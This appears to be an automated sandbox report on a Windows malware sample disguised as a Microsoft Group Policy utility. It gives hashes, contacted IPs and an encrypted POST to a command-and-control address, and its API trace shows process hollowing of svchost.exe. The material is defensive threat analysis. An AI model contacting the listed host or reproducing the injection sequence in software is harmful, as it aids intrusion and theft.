LegalCopyright:	\x412\xa9 Microsoft Corporation. All rights reserved.
InternalName:	GPpdate.exe
FileVersion:	6.1.7600.16385 (win7_rtm.090713-1255)
CompanyName:	Microsoft Corporation
ProductName:	Microsoft\x412\xae Windows\x412\xae Operating System
ProductVersion:	6.1.7600.16385
FileDescription:	Microsoft\x412\xae Group Policy pdate Utility
OriginalFilename:	GPpdate.exe
Translation:	0x0409 0x04b0

Name	Virtual Address	Virtual Size	Size of Raw Data	Entropy
.text	0x00001000	0x000058fa	0x00005a00	2.72307799866
.rdata	0x00007000	0x000023b0	0x00002400	2.30861689651
.data	0x0000a000	0x00024d7c	0x00024c00	5.31037134465
.rsrc	0x0002f000	0x00003ff8	0x00004000	5.13311391985

File name	wakapadh.exe
File size	200192 bytes
File type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	acc2ab23d0b88f8bd313e2dae4651f4e
SHA1	aeb2d18e38fd3ede277d1de0500050bf3d5ccbf3
SHA256	074aa9557d3710780222cf3985caaf6f9435589d701aafaac5ad556b1af491a9
SHA512	cfdebf1cfe7bf8d4f24c2355ad69fa46d5e69486bba63e26e5aed4549617d95e9d65dbd402c535a16b40eb623769cb14461a1a085f288a8e9b1bc6bdd946ac6b
Ssdeep	None
Yara	None matched
VirusTotal	Search for Analysis

File name	4C4FEF4B6ED8F1684973FE753352286D2D966CD844[1].htm
File size	44105 bytes
File type	lif file
MD5	1d1af11cf58ec2b8a7f3210defaea9b3
SHA1	45500cf63ba7b2bfcd46827a560f3f6f988e6467
SHA256	d352706a2f40c2d9fd0f2b543eeabac9d1a162acccb8826757f919537df2a9b3
SHA512	6f4b2b16dcb40d80944a6e46e121e40c5ce4a2f0cb045f3adf2ceeb0231d023248e68f15146dd3e6c9053c8ac6aa336f250335340971b0177c1151722efffccb
Ssdeep	None
Yara	None matched
VirusTotal	Search for Analysis

IP Address
10.129.0.11
10.129.0.255
69.162.112.178
85.217.224.212

URL

Data

http://69.162.112.178/4C4FEF4B6ED8F1684973FE753352286D2D966CD844

POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 69.162.112.178 Content-Length: 315 Cache-Control: no-cache \x80\x00\x00\x00\xb27\x1e\x1b\xc5#\x95\xc1\x98\xc3\xe3I\xa0\x8c;\xe6h\xcev\xc2\xb0\x86\xd1\x89]\xd0\x90\xa2\xf0\xbb\x96\xf8\xb7\xc5)\xf5\xe8!\x99\x80;\xc1\xf7\xee\xfex\xcd\xde[2\xf1\x8cL\xb3F\x14\xff\xee\x85\xe7\xdai \xd2\xf02YZ\x7f\xbdx#!\x1cn\xb9LI\x9a\xd5DD\xc3I6\xc90\x7f\x0e\xb4\xebw\xbbP\x85bk\xa8\x9a\x85H9Z\xed\xc1\x0ez\xef\x83\x8c\x9c\x1e\xcco\xe4\x12\xd7\xce ho\xa2\xd5\xbb\xfe4I@\xb3\x00\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\x96#\x0e0K \x95R\x0e\xad\x00\x8e\xe0\x81m\x1d\xfc\x10\xa8\xed\xe2\xda\xc8:\xd8\xb0.\xb0\xceM\x8d\xa6\x12\xe0\xa6\xcc&AZ\x88\xe6\xd0KaT\x10fz3q\xbbV\x05\xb2\xd1s\xb5\x01\xe8wW\x90\x95Px\x9dmb\xbb\xa4\xb6\xc1u\xd9\xba-^\xc4h\x08f\xeb8\xe6\x99.o\xb5\xc7W\xd53j4\xa8\xae\xdfQ\xe2\x1a\xf8.!w\xf8\xd4\xd5\x84\xb3=]\xa00\xd1\xed\x11Q\xa8\xfdlFY4\x86\xfa\x03/\x90\xa6\xd1\xf0\xcb\xed*\x07\x9f\xe6\xc4p\xe1\x8b|\xb7\xa0\x00\x02c\xd5g\xa9\x07$\x92\xd9\xb7$<B\xf0\x0eR @\xb2\x9bn\xa7\xc7\xac

Timestamp	Thread	Function	Arguments	Status	Return	Repeated
06:37:11,174	504	RegOpenKeyExA	Handle => 0x0000008a Registry => 0x80000000 SubKey => clsid\{0003000e-0000-0000-c000-000000000046}	SUCCESS	0x00000000
06:37:11,174	504	LdrLoadDll	Flags => 1244972 BaseAddress => 0x7c800000 FileName => kernel32	SUCCESS	0x00000000
06:37:11,174	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,174	504	RegQueryValueExW	Handle => 0x0000008a Data => M\x00e\x00d\x00i\x00a\x00 \x00C\x00l\x00i\x00p\x00\x00\x00 ValueName =>	SUCCESS	0x00000000
06:37:11,184	504	NtCreateFile	ShareAccess => 1 FileName => C:\DOCUME~1\TDW\LOCALS~1\Temp\gyvlU yXBz DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x00000000	FAILURE	3221225524
06:37:11,184	504	NtOpenKey	DesiredAccess => 1 KeyHandle => 0x0000008c ObjectAttributes => \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager	SUCCESS	0x00000000
06:37:11,184	504	NtQueryValueKey	KeyHandle => 0x0000008c ValueName => SafeProcessSearchMode	FAILURE	3221225524
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryExA FunctionAddress => 0x7c801d53 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,195	504	LdrLoadDll	Flags => 1244856 BaseAddress => 0x7c800000 FileName => kernel32.dll	SUCCESS	0x00000000
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualFree FunctionAddress => 0x7c809b74 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => UnmapViewOfFile FunctionAddress => 0x7c80ba04 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,195	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualProtect FunctionAddress => 0x7c801ad4 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryExA FunctionAddress => 0x7c801d53 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateFileA FunctionAddress => 0x7c801a28 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SetFilePointer FunctionAddress => 0x7c810c1e ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WriteFile FunctionAddress => 0x7c810e17 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetTempPathA FunctionAddress => 0x7c835de2 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => lstrlenA FunctionAddress => 0x7c80be46 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => lstrcatA FunctionAddress => 0x7c834d59 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrLoadDll	Flags => 1244812 BaseAddress => 0x7c800000 FileName => KERNEL32.dll	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WaitForSingleObject FunctionAddress => 0x7c802530 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateEventA FunctionAddress => 0x7c83089d ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateProcessA FunctionAddress => 0x7c80236b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ReleaseMutex FunctionAddress => 0x7c8024b7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TerminateProcess FunctionAddress => 0x7c801e1a ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcess FunctionAddress => 0x7c80de85 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetLastError FunctionAddress => 0x7c90fe01 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,205	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateMutexA FunctionAddress => 0x7c80e9cf ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,215	504	NtCreateMutant	Handle => 0x0000008c InitialOwner => 0 MutexName => 2GVWNQJz1	SUCCESS	0x00000000
06:37:11,215	504	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwMapViewOfSection FunctionAddress => 0x7c90d500 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtCreateSection FunctionAddress => 0x7c90d160 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwUnmapViewOfSection FunctionAddress => 0x7c90def0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,215	504	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwResumeThread FunctionAddress => 0x7c90db20 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,225	504	CreateProcessInternalW	ApplicationName => ProcessId => 992 CommandLine => svchost.exe ThreadHandle => 0x000000a0 ProcessHandle => 0x0000009c ThreadId => 996 CreationFlags => 0x00000004	SUCCESS	0x00000001
06:37:11,225	504	NtReadVirtualMemory	Buffer => \x00\x00\x00\x01 ProcessHandle => 0x0000009c BaseAddress => 0x7ffdf008	SUCCESS	0x00000000
06:37:11,235	504	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x00000090 FileHandle => 0x00000000	SUCCESS	0x00000000
06:37:11,235	504	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000090 ProcessHandle => 0xffffffff BaseAddress => 0x00420000	SUCCESS	0x00000000
06:37:11,235	504	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x00000090 ProcessHandle => 0x0000009c BaseAddress => 0x00090000	SUCCESS	0x00000000
06:37:11,275	504	NtReadVirtualMemory	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\xfc\xa9\xf5f\xb8\xc8\x9b5\xb8\xc8\x9b5\xb8\xc8\x9b5{\xc7\xfb5\xb9\xc8\x9b5{\xc7\xc65\xb1\xc8\x9b5\xb8\xc8\x9a5\xe7\xc8\x9b5{\xc7\xc55\xb9\xc8\x9b5{\xc7\xc45\xb4\xc8\x9b5{\xc7\xc15\xb9\xc8\x9b5Rich\xb8\xc8\x9b5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x03\x00\xc0[\x02H\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x07 \x00,\x00\x00 ProcessHandle => 0x0000009c BaseAddress => 0x01000000	SUCCESS	0x00000000	1 time
06:37:11,285	504	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f001f SectionHandle => 0x0000008c FileHandle => 0x00000000	SUCCESS	0x00000000
06:37:11,285	504	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000008c ProcessHandle => 0xffffffff BaseAddress => 0x01020000	SUCCESS	0x00000000
06:37:11,295	504	ZwMapViewOfSection	SectionOffset => 0x00000000 SectionHandle => 0x0000008c ProcessHandle => 0x0000009c BaseAddress => 0x01000000	SUCCESS	0x00000000
06:37:11,315	504	NtResumeThread	SuspendCount => 1 ThreadHandle => 0x000000a0	SUCCESS	0x00000000

Timestamp	Thread	Function	Arguments	Status	Return	Repeated
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryA FunctionAddress => 0x7c801d7b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ExitProcess FunctionAddress => 0x7c81cafa ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,505	996	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x7c902435 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x7c901db3 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,505	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _stricmp FunctionAddress => 0x7c912e44 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,515	1080	ExitThread	ExitCode => 0	SUCCESS	0x00000000
06:37:11,515	996	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32.dll	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => OpenProcess FunctionAddress => 0x7c8309d1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapCreate FunctionAddress => 0x7c812c46 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateMutexA FunctionAddress => 0x7c80e9cf ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetLastError FunctionAddress => 0x7c90fe01 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcess FunctionAddress => 0x7c80de85 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TerminateProcess FunctionAddress => 0x7c801e1a ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WideCharToMultiByte FunctionAddress => 0x7c80a164 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => OpenEventA FunctionAddress => 0x7c81329c ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetSystemTimeAsFileTime FunctionAddress => 0x7c8017e9 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCurrentProcessId FunctionAddress => 0x7c8099b0 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DeleteFileA FunctionAddress => 0x7c831ec5 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => Sleep FunctionAddress => 0x7c802446 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetFileInformationByHandle FunctionAddress => 0x7c810cfd ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ReadFile FunctionAddress => 0x7c801812 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SetEvent FunctionAddress => 0x7c80a0a7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ResumeThread FunctionAddress => 0x7c83290f ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,525	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateProcessA FunctionAddress => 0x7c80236b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CreateFileA FunctionAddress => 0x7c801a28 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WriteFile FunctionAddress => 0x7c810e17 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CloseHandle FunctionAddress => 0x7c809bd7 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcessHeap FunctionAddress => 0x7c80ac51 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapAlloc FunctionAddress => 0x7c9100a4 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HeapFree FunctionAddress => 0x7c90ff0d ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetModuleHandleA FunctionAddress => 0x7c80b731 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetTickCount FunctionAddress => 0x7c80932e ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualAlloc FunctionAddress => 0x7c809ae1 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => VirtualFree FunctionAddress => 0x7c809b74 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LoadLibraryA FunctionAddress => 0x7c801d7b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetProcAddress FunctionAddress => 0x7c80ae30 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetDllHandle	ModuleHandle => 0x77dd0000 FileName => ADVAPI32.dll	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptDestroyHash FunctionAddress => 0x77de9bac ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptEncrypt FunctionAddress => 0x77dee340 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptCreateHash FunctionAddress => 0x77de9c51 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptHashData FunctionAddress => 0x77de9a7e ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,535	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptVerifySignatureA FunctionAddress => 0x77dfc811 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegDeleteKeyA FunctionAddress => 0x77de4280 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegCreateKeyA FunctionAddress => 0x77dfbcc3 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegSetValueExA FunctionAddress => 0x77ddead7 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegOpenKeyA FunctionAddress => 0x77ddefb8 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegEnumKeyExA FunctionAddress => 0x77de5196 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegEnumValueA FunctionAddress => 0x77df9b8f ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetUserNameA FunctionAddress => 0x77de54a4 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LookupAccountNameA FunctionAddress => 0x77e0d75f ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegOpenKeyExA FunctionAddress => 0x77dd7842 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegQueryValueExA FunctionAddress => 0x77dd7aab ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegCloseKey FunctionAddress => 0x77dd6c17 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptAcquireContextA FunctionAddress => 0x77de791d ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegDeleteValueA FunctionAddress => 0x77ddecd5 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetDllHandle	ModuleHandle => 0x7c9c0000 FileName => SHELL32.dll	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SHGetSpecialFolderPathA FunctionAddress => 0x7cab99f6 ModuleHandle => 0x7c9c0000	SUCCESS	0x00000000
06:37:11,545	996	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
06:37:11,545	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInitialize FunctionAddress => 0x77502a53 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoCreateInstance FunctionAddress => 0x7750057e ModuleHandle => 0x774e0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetDllHandle	ModuleHandle => 0x77120000 FileName => OLEAUT32.dll	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 6 FunctionName => FunctionAddress => 0x77124880 ModuleHandle => 0x77120000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 2 FunctionName => FunctionAddress => 0x77124ba2 ModuleHandle => 0x77120000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetDllHandle	ModuleHandle => 0x71ab0000 FileName => WS2_32.dll	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 115 FunctionName => FunctionAddress => 0x71ab6a55 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 116 FunctionName => FunctionAddress => 0x71ab3fed ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 11 FunctionName => FunctionAddress => 0x71ab2ee1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetProcedureAddress	Ordinal => 12 FunctionName => FunctionAddress => 0x71ab45c1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:37:11,555	996	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => WININET.dll	FAILURE	3221225781	1 time
06:37:11,575	996	LdrLoadDll	Flags => 523952 BaseAddress => 0x771b0000 FileName => WININET.dll	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetCloseHandle FunctionAddress => 0x771c4d8c ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetReadFile FunctionAddress => 0x771c82ea ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HttpSendRequestA FunctionAddress => 0x771c60a1 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HttpOpenRequestA FunctionAddress => 0x771c2af9 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetConnectA FunctionAddress => 0x771c3452 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetOpenA FunctionAddress => 0x771c578e ModuleHandle => 0x771b0000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetDllHandle	ModuleHandle => 0x77c10000 FileName => MSVCRT.dll	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => free FunctionAddress => 0x77c2c21b ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => malloc FunctionAddress => 0x77c2c407 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x77c475f0 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => wcstombs FunctionAddress => 0x77c1de16 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
06:37:11,575	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _wcsicmp FunctionAddress => 0x77c467bd ModuleHandle => 0x77c10000	SUCCESS	0x00000000
